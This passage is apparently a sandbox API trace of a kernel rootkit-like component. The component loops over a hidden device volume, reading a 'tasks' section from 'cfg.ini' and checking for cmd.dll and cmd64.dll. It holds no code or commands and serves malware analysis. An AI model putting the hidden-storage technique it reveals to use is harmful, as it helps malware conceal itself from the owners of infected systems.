_snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.293] KeEnterCriticalRegion () [0123.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] ExFreePoolWithTag (P=0xfffffa8003bea290, Tag=0x0) [0123.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.293] KeLeaveCriticalRegion () [0123.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.293] ReleaseMutex (hMutex=0xf0) returned 1 [0123.293] Sleep (dwMilliseconds=0x927c0) [0123.307] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.307] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.307] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.307] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.308] KeEnterCriticalRegion () [0123.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.308] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.308] IdePortDispatch () returned 0x103 [0123.308] KeWaitForMutexObject () returned 0x0 [0123.308] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.308] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.308] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.308] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.308] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.308] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beacb0 [0123.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.308] KeLeaveCriticalRegion () [0123.308] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.308] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.308] KeEnterCriticalRegion () [0123.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.308] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.308] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.308] KeLeaveCriticalRegion () [0123.308] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.308] KeEnterCriticalRegion () [0123.308] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.308] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.308] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.308] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.308] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.308] IdePortDispatch () returned 0x103 [0123.308] KeWaitForMutexObject () returned 0x0 [0123.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.309] KeLeaveCriticalRegion () [0123.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.309] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.309] KeEnterCriticalRegion () [0123.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.309] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0123.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.309] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.309] IdePortDispatch () returned 0x103 [0123.309] KeWaitForMutexObject () returned 0x0 [0123.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.309] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.309] IdePortDispatch () returned 0x103 [0123.309] KeWaitForMutexObject () returned 0x0 [0123.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.309] KeLeaveCriticalRegion () [0123.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.310] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.310] KeEnterCriticalRegion () [0123.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.310] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.310] KeLeaveCriticalRegion () [0123.310] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.310] KeEnterCriticalRegion () [0123.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.310] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.310] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.310] KeLeaveCriticalRegion () [0123.310] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.310] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.310] KeEnterCriticalRegion () [0123.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.310] ExFreePoolWithTag (P=0xfffffa8003beacb0, Tag=0x0) [0123.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.310] KeLeaveCriticalRegion () [0123.310] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.310] ReleaseMutex (hMutex=0xf0) returned 1 [0123.311] Sleep (dwMilliseconds=0x927c0) [0123.331] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.331] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.331] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.331] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.331] KeEnterCriticalRegion () [0123.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.331] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.331] IdePortDispatch () returned 0x103 [0123.331] KeWaitForMutexObject () returned 0x0 [0123.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.331] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.332] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.332] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.332] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.332] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beb010 [0123.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.332] KeLeaveCriticalRegion () [0123.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.332] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.332] KeEnterCriticalRegion () [0123.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.332] KeLeaveCriticalRegion () [0123.332] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.332] KeEnterCriticalRegion () [0123.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.332] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.332] IdePortDispatch () returned 0x103 [0123.332] KeWaitForMutexObject () returned 0x0 [0123.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.332] KeLeaveCriticalRegion () [0123.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.332] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.332] KeEnterCriticalRegion () [0123.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348b000 [0123.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.332] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.332] IdePortDispatch () returned 0x103 [0123.333] KeWaitForMutexObject () returned 0x0 [0123.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.333] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.333] IdePortDispatch () returned 0x103 [0123.333] KeWaitForMutexObject () returned 0x0 [0123.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.333] KeLeaveCriticalRegion () [0123.333] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.333] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.334] KeEnterCriticalRegion () [0123.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] KeLeaveCriticalRegion () [0123.334] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.334] KeEnterCriticalRegion () [0123.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.334] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bead20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] KeLeaveCriticalRegion () [0123.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.334] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.334] KeEnterCriticalRegion () [0123.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] ExFreePoolWithTag (P=0xfffffa8003beb010, Tag=0x0) [0123.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.334] KeLeaveCriticalRegion () [0123.334] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.334] ReleaseMutex (hMutex=0xf0) returned 1 [0123.334] Sleep (dwMilliseconds=0x927c0) [0123.348] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.348] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.348] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.348] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.348] KeEnterCriticalRegion () [0123.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.348] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.348] IdePortDispatch () returned 0x103 [0123.348] KeWaitForMutexObject () returned 0x0 [0123.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.348] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.348] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.348] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.348] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.348] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bebf60 [0123.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.348] KeLeaveCriticalRegion () [0123.348] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.348] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.348] KeEnterCriticalRegion () [0123.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.348] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.348] KeLeaveCriticalRegion () [0123.348] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.348] KeEnterCriticalRegion () [0123.348] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.348] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.348] IdePortDispatch () returned 0x103 [0123.349] KeWaitForMutexObject () returned 0x0 [0123.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.349] KeLeaveCriticalRegion () [0123.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.349] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.349] KeEnterCriticalRegion () [0123.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.349] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003490000 [0123.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.349] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.349] IdePortDispatch () returned 0x103 [0123.349] KeWaitForMutexObject () returned 0x0 [0123.349] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.349] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.349] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.349] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.349] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.349] IdePortDispatch () returned 0x103 [0123.349] KeWaitForMutexObject () returned 0x0 [0123.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.349] KeLeaveCriticalRegion () [0123.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.350] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.350] KeEnterCriticalRegion () [0123.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.350] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.350] KeLeaveCriticalRegion () [0123.350] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.350] KeEnterCriticalRegion () [0123.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.350] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.350] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bebd60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.350] KeLeaveCriticalRegion () [0123.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.350] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.350] KeEnterCriticalRegion () [0123.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.350] ExFreePoolWithTag (P=0xfffffa8003bebf60, Tag=0x0) [0123.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.350] KeLeaveCriticalRegion () [0123.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.350] ReleaseMutex (hMutex=0xf0) returned 1 [0123.350] Sleep (dwMilliseconds=0x927c0) [0123.365] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.365] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.365] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.365] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.365] KeEnterCriticalRegion () [0123.365] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.365] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.365] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.365] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.365] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.365] IdePortDispatch () returned 0x103 [0123.365] KeWaitForMutexObject () returned 0x0 [0123.365] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.365] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.365] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.365] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: 